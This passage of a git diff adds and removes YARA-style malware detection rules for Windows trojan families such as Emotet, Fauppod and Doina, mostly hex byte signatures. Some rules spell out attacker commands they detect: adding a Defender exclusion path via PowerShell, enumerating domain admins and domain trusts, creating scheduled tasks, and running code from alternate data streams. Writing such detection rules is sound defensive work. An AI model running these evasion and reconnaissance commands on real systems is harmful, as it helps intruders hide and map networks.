45 f8 2b c6 45 f9 33 c6 45 fa 02 a1 ?? ?? ?? ?? 64 8b 0d 2c 00 00 00 8b 14 81 8b 82 2c 00 00 00 83 e0 01 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Doina/Trojan_Win32_Doina_MZZ_MTB.yar b/Trojan/Win32/Doina/Trojan_Win32_Doina_MZZ_MTB.yar new file mode 100644 index 0000000000..d160297ebd --- /dev/null +++ b/Trojan/Win32/Doina/Trojan_Win32_Doina_MZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Doina_MZZ_MTB{ + meta: + description = "Trojan:Win32/Doina.MZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 83 fa 2c 0f 45 cb 33 db 8a 84 0d ?? ?? ?? ?? 30 04 16 42 8d 41 01 89 95 30 ff ff ff 83 f8 14 0f 4c d8 8b c2 99 3b 95 28 ff ff ff 8b 95 30 ff ff ff 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Doina/Trojan_Win32_Doina_PGD_MTB.yar b/Trojan/Win32/Doina/Trojan_Win32_Doina_PGD_MTB.yar new file mode 100644 index 0000000000..e5343a2882 --- /dev/null +++ b/Trojan/Win32/Doina/Trojan_Win32_Doina_PGD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Doina_PGD_MTB{ + meta: + description = "Trojan:Win32/Doina.PGD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {66 0f be 06 8b 4d e4 0f b7 d0 3b 4d e8 ?? ?? 83 7d e8 ?? 8d 41 01 89 45 e4 8d 45 d4 0f 43 45 d4 66 89 14 48 33 d2 66 89 54 48 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/DomainAdmins/Trojan_Win32_DomainAdmins_MK.yar b/Trojan/Win32/DomainAdmins/Trojan_Win32_DomainAdmins_MK.yar new file mode 100644 index 0000000000..acf79f7687 --- /dev/null +++ b/Trojan/Win32/DomainAdmins/Trojan_Win32_DomainAdmins_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_DomainAdmins_MK{ + meta: + description = "Trojan:Win32/DomainAdmins.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 67 00 72 00 6f 00 75 00 70 00 20 00 22 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 61 00 64 00 6d 00 69 00 6e 00 73 00 22 00 20 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net group "domain admins" /domain & exit + $a_00_3 = {61 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 62 00 } //-1 ag06e39e-7876-4ba3-beee-42bd80ff363b + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_DomainAdmins_MK_2{ + meta: + description = "Trojan:Win32/DomainAdmins.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 67 00 72 00 6f 00 75 00 70 00 20 00 22 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 61 00 64 00 6d 00 69 00 6e 00 73 00 22 00 20 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net group "domain admins" /domain & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/DomainEnum/Trojan_Win32_DomainEnum_ZZZ_MTB.yar b/Trojan/Win32/DomainEnum/Trojan_Win32_DomainEnum_ZZZ_MTB.yar new file mode 100644 index 0000000000..a20b25add2 --- /dev/null +++ b/Trojan/Win32/DomainEnum/Trojan_Win32_DomainEnum_ZZZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_DomainEnum_ZZZ_MTB{ + meta: + description = "Trojan:Win32/DomainEnum.ZZZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 75 00 73 00 65 00 72 00 73 00 } //1 domain users + $a_00_1 = {2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 3e 00 } //1 /domain > + $a_02_2 = {74 00 65 00 6d 00 70 00 [0-3c] 2e 00 74 00 6d 00 70 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_AM.yar b/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_AM.yar new file mode 100644 index 0000000000..1269eae3df --- /dev/null +++ b/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_AM.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_DomainTrustDiscovery_AM{ + meta: + description = "Trojan:Win32/DomainTrustDiscovery.AM,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 6c 00 74 00 65 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 5f 00 74 00 72 00 75 00 73 00 74 00 73 00 20 00 31 00 3e 00 20 00 6e 00 75 00 6c 00 20 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 nltest.exe /domain_trusts 1> nul & exit + $a_00_3 = {64 00 34 00 38 00 39 00 36 00 63 00 66 00 38 00 2d 00 61 00 34 00 66 00 61 00 2d 00 34 00 30 00 65 00 39 00 2d 00 39 00 30 00 65 00 30 00 2d 00 33 00 62 00 32 00 64 00 64 00 63 00 33 00 65 00 33 00 63 00 65 00 33 00 } //-1 d4896cf8-a4fa-40e9-90e0-3b2ddc3e3ce3 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_MK.yar b/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_MK.yar new file mode 100644 index 0000000000..aaa9a94411 --- /dev/null +++ b/Trojan/Win32/DomainTrustDiscovery/Trojan_Win32_DomainTrustDiscovery_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_DomainTrustDiscovery_MK{ + meta: + description = "Trojan:Win32/DomainTrustDiscovery.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 6c 00 74 00 65 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 5f 00 74 00 72 00 75 00 73 00 74 00 73 00 20 00 31 00 3e 00 20 00 6e 00 75 00 6c 00 20 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 nltest.exe /domain_trusts 1> nul & exit + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 39 00 6c 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff369l + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_DomainTrustDiscovery_MK_2{ + meta: + description = "Trojan:Win32/DomainTrustDiscovery.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 6c 00 74 00 65 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 5f 00 74 00 72 00 75 00 73 00 74 00 73 00 20 00 31 00 3e 00 20 00 6e 00 75 00 6c 00 20 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 nltest.exe /domain_trusts 1> nul & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Donut/Trojan_Win32_Donut_YAB_MTB.yar b/Trojan/Win32/Donut/Trojan_Win32_Donut_YAB_MTB.yar new file mode 100644 index 0000000000..383415e04a --- /dev/null +++ b/Trojan/Win32/Donut/Trojan_Win32_Donut_YAB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Donut_YAB_MTB{ + meta: + description = "Trojan:Win32/Donut.YAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 00 " + + strings : + $a_01_0 = {b8 68 58 4d 56 bb 00 00 00 00 b9 0a 00 00 00 ba 58 56 00 00 ed 81 fb 68 58 4d 56 0f 94 45 e7 } //5 + $a_01_1 = {73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e } //1 schtasks /create /tn + $a_01_2 = {64 6a 6b 67 67 6f 73 6a 2e 62 61 74 } //1 djkggosj.bat + $a_03_3 = {0f b6 cb 32 b9 ?? ?? ?? ?? 8a 6d ff 8a 48 f3 8d 70 04 8a 58 f4 32 cf 32 5d fe 42 88 48 03 8a 48 f5 32 4d fd 88 48 05 8a 48 f6 32 cd } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*5) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dorifel/Trojan_Win32_Dorifel_EALB_MTB.yar b/Trojan/Win32/Dorifel/Trojan_Win32_Dorifel_EALB_MTB.yar new file mode 100644 index 0000000000..d677765a19 --- /dev/null +++ b/Trojan/Win32/Dorifel/Trojan_Win32_Dorifel_EALB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dorifel_EALB_MTB{ + meta: + description = "Trojan:Win32/Dorifel.EALB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {c7 44 24 10 00 00 00 00 8d 55 e4 89 54 24 0c d1 e0 89 44 24 08 89 74 24 04 89 1c 24 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBW_MTB.yar b/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBW_MTB.yar new file mode 100644 index 0000000000..cb05d6e1bb --- /dev/null +++ b/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Ekstak_MBW_MTB{ + meta: + description = "Trojan:Win32/Ekstak.MBW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8b ec 6a ff 68 ?? e5 60 00 68 ?? 8e 60 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 ?? e3 60 00 33 d2 8a d4 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBY_MTB.yar b/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBY_MTB.yar new file mode 100644 index 0000000000..52def9ec4a --- /dev/null +++ b/Trojan/Win32/Ekstak/Trojan_Win32_Ekstak_MBY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Ekstak_MBY_MTB{ + meta: + description = "Trojan:Win32/Ekstak.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {55 8b ec 6a ff 68 ?? e5 65 00 68 ?? 7d 65 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 ?? e1 65 00 33 d2 8a d4 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_AHB_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_AHB_MTB.yar new file mode 100644 index 0000000000..c1ed4d6e99 --- /dev/null +++ b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Emotet_AHB_MTB{ + meta: + description = "Trojan:Win32/Emotet.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 4d e8 83 c1 02 89 4d e8 8b 55 e4 83 ea 01 89 55 e4 a1 ?? ?? ?? ?? 83 c0 02 0f b6 4d e4 2b c1 66 a3 } //3 + $a_03_1 = {81 c1 ef 35 01 00 2b 0d ?? ?? ?? ?? 03 4d e8 89 4d e8 8b 55 fc 8b 42 02 89 45 f0 8b 4d 0c 83 c1 3b } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_CC_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_CC_MTB.yar index 1eeb97894c..2ae667c36e 100644 --- a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_CC_MTB.yar +++ b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_CC_MTB.yar @@ -12,15 +12,4 @@ rule Trojan_Win32_Emotet_CC_MTB{ condition: ((#a_81_0 & 1)*3+(#a_81_1 & 1)*3+(#a_81_2 & 1)*3+(#a_81_3 & 1)*3+(#a_81_4 & 1)*3) >=15 -} -rule Trojan_Win32_Emotet_CC_MTB_2{ - meta: - description = "Trojan:Win32/Emotet.CC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " - - strings : - $a_02_0 = {81 e1 32 88 db 0e 33 c1 8b 55 ec c1 e2 1b c1 fa 1f 81 e2 64 10 b7 1d 33 c2 8b 4d ec c1 e1 1a c1 f9 1f 81 e1 c8 20 6e 3b 33 c1 8b 55 ec c1 e2 19 c1 fa 1f 81 e2 ?? 41 dc 76 33 c2 8b 4d ec c1 e1 18 c1 f9 1f 81 e1 20 83 b8 ed 33 c1 } //1 - $a_02_1 = {20 83 b8 ed c7 45 ?? ?? 41 dc 76 c7 45 ?? c8 20 6e 3b c7 45 ?? 64 10 b7 1d c7 45 ?? 32 88 db 0e c7 45 ?? 19 c4 6d 07 c7 45 ?? 2c 61 0e ee c7 45 ?? 96 30 07 77 } //1 - condition: - ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1) >=2 - } \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_DHO_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_DHO_MTB.yar deleted file mode 100644 index c521c49870..0000000000 --- a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_DHO_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_Emotet_DHO_MTB{ - meta: - description = "Trojan:Win32/Emotet.DHO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_02_0 = {8b f0 c1 e6 18 c1 fe 1f c1 e0 1e 81 e6 ?? ?? ?? ?? c1 f8 1f 33 ce 25 ?? ?? ?? ?? 33 c1 42 33 c9 8a 0a } //1 - condition: - ((#a_02_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_GP_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_GP_MTB.yar deleted file mode 100644 index 6d1c66ae1b..0000000000 --- a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_GP_MTB.yar +++ /dev/null @@ -1,12 +0,0 @@ - -rule Trojan_Win32_Emotet_GP_MTB{ - meta: - description = "Trojan:Win32/Emotet.GP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " - - strings : - $a_02_0 = {33 c1 8b cb c1 [0-02] 33 c1 8b cb c1 [0-02] c1 [0-02] c1 [0-02] 81 [0-05] c1 [0-02] 33 ?? 81 [0-05] 33 ?? ff [0-07] 0f [0-02] 3b [0-07] 5e 8b c3 [0-03] f7 d0 c3 } //1 - $a_00_1 = {f7 d8 1b c0 23 c6 5f 5e 5b c9 c3 } //1 - condition: - ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1) >=2 - -} \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_PGE_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_PGE_MTB.yar new file mode 100644 index 0000000000..eecf5f5812 --- /dev/null +++ b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_PGE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Emotet_PGE_MTB{ + meta: + description = "Trojan:Win32/Emotet.PGE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {2b d0 89 15 88 7d 45 00 8b 0d 14 54 46 00 81 c1 fc 74 7d 01 89 0d 14 54 46 00 8b 15 10 54 46 00 03 55 ec a1 14 54 46 00 89 82 ef fa ff ff 8b 0d 90 7d 45 00 83 c1 3b 2b 0d 94 7d 45 00 89 4d f0 e9 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_RPO_MTB.yar b/Trojan/Win32/Emotet/Trojan_Win32_Emotet_RPO_MTB.yar deleted file mode 100644 index 2d956304ed..0000000000 --- a/Trojan/Win32/Emotet/Trojan_Win32_Emotet_RPO_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_Emotet_RPO_MTB{ - meta: - description = "Trojan:Win32/Emotet.RPO!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {ff 4d 0c ac 31 ff 89 d7 81 e7 ff 00 00 00 30 c3 c1 ea 08 81 e2 ff ff ff 00 b9 08 00 00 00 d1 ef 73 06 81 f7 20 83 b8 ed e2 f4 31 fa eb cc } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/EvasionViaPathExclusion/Trojan_Win32_EvasionViaPathExclusion_AD.yar b/Trojan/Win32/EvasionViaPathExclusion/Trojan_Win32_EvasionViaPathExclusion_AD.yar new file mode 100644 index 0000000000..13d6e3dc4c --- /dev/null +++ b/Trojan/Win32/EvasionViaPathExclusion/Trojan_Win32_EvasionViaPathExclusion_AD.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_EvasionViaPathExclusion_AD{ + meta: + description = "Trojan:Win32/EvasionViaPathExclusion.AD,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 61 00 69 00 71 00 } //3 powershell.exe add-mppreference -exclusionpath %temp%\aiq + condition: + ((#a_00_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ExecutionFromADS/Trojan_Win32_ExecutionFromADS_B.yar b/Trojan/Win32/ExecutionFromADS/Trojan_Win32_ExecutionFromADS_B.yar new file mode 100644 index 0000000000..45a8f4186d --- /dev/null +++ b/Trojan/Win32/ExecutionFromADS/Trojan_Win32_ExecutionFromADS_B.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ExecutionFromADS_B{ + meta: + description = "Trojan:Win32/ExecutionFromADS.B,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_80_0 = {26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 20 3c } //& powershell.exe - < 1 + $a_02_1 = {5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-90] 74 00 78 00 74 00 3a 00 } //1 + $a_02_2 = {5c 74 65 6d 70 5c [0-90] 74 78 74 3a } //1 + condition: + ((#a_80_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/EyeStye/Trojan_Win32_EyeStye_AEYE_MTB.yar b/Trojan/Win32/EyeStye/Trojan_Win32_EyeStye_AEYE_MTB.yar new file mode 100644 index 0000000000..91a1983d27 --- /dev/null +++ b/Trojan/Win32/EyeStye/Trojan_Win32_EyeStye_AEYE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_EyeStye_AEYE_MTB{ + meta: + description = "Trojan:Win32/EyeStye.AEYE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {08 00 a4 00 a2 ?? ?? ?? ?? e0 cb 00 00 94 08 00 a4 00 a2 ?? ?? ?? ?? e1 cb 00 00 94 08 00 a4 00 a2 ?? ?? ?? ?? e2 cb 00 00 94 08 00 a4 } //3 + $a_01_1 = {54 46 4f 4e 49 4c 41 4b 6c 51 45 59 65 74 4c 66 5a 59 6f 45 } //2 TFONILAKlQEYetLfZYoE + $a_01_2 = {6b 45 59 65 64 53 4d 75 5a 70 44 77 56 4b 55 57 50 4f 49 52 } //1 kEYedSMuZpDwVKUWPOIR + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fakeav/Trojan_Win32_FakeAV_NA_MTB.yar b/Trojan/Win32/Fakeav/Trojan_Win32_FakeAV_NA_MTB.yar new file mode 100644 index 0000000000..91cdbb00c2 --- /dev/null +++ b/Trojan/Win32/Fakeav/Trojan_Win32_FakeAV_NA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_FakeAV_NA_MTB{ + meta: + description = "Trojan:Win32/FakeAV.NA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {8b 45 d8 21 45 f4 81 45 dc } //2 + $a_01_1 = {8b 45 f0 31 45 f4 8b 45 0c 21 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Farfli/Trojan_Win32_Farfli_EAG_MTB.yar b/Trojan/Win32/Farfli/Trojan_Win32_Farfli_EAG_MTB.yar new file mode 100644 index 0000000000..302fb23046 --- /dev/null +++ b/Trojan/Win32/Farfli/Trojan_Win32_Farfli_EAG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Farfli_EAG_MTB{ + meta: + description = "Trojan:Win32/Farfli.EAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8a 0a 32 4d ef 02 4d ef 88 0a 42 89 55 08 c3 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_AQ_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_AQ_MTB.yar new file mode 100644 index 0000000000..62aef7b4ed --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_AQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Fauppod_AQ_MTB{ + meta: + description = "Trojan:Win32/Fauppod.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {55 89 e5 8a 45 0c 8a 4d 08 b2 01 88 cc 02 25 } //3 + $a_01_1 = {ff d0 83 ec 04 b9 f6 ff ff ff 25 01 00 00 00 3d 00 00 00 00 89 4d f4 0f 85 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_BH_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_BH_MTB.yar new file mode 100644 index 0000000000..b40a1d5128 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_BH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_BH_MTB{ + meta: + description = "Trojan:Win32/Fauppod.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {29 c2 83 ea ?? b8 ?? ?? ?? ?? 31 d2 89 15 ?? ?? ?? ?? 01 25 ?? ?? ?? ?? 31 d0 31 c2 29 c2 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GTB_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GTB_MTB.yar new file mode 100644 index 0000000000..ecd0b27a11 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GTB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_GTB_MTB{ + meta: + description = "Trojan:Win32/Fauppod.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {31 d0 31 d2 89 15 ?? ?? ?? ?? 01 35 ?? ?? ?? ?? 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 18 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GYZ_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GYZ_MTB.yar new file mode 100644 index 0000000000..2b9409c09d --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GYZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_GYZ_MTB{ + meta: + description = "Trojan:Win32/Fauppod.GYZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {83 c0 04 c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 31 2d ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 31 3d ?? ?? ?? ?? e9 ?? ?? ?? ?? c3 4a 01 c2 89 d0 31 c2 31 d2 89 15 ?? ?? ?? ?? 01 1d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZK_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZK_MTB.yar new file mode 100644 index 0000000000..506cac0061 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_GZK_MTB{ + meta: + description = "Trojan:Win32/Fauppod.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {29 d0 31 d2 89 15 ?? ?? ?? ?? 01 25 ?? ?? ?? ?? 29 c2 b9 02 00 00 00 ?? ?? 42 31 d2 89 15 ?? ?? ?? ?? 31 2d ?? ?? ?? ?? 8d 05 ?? ?? ?? ?? ff d0 48 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git 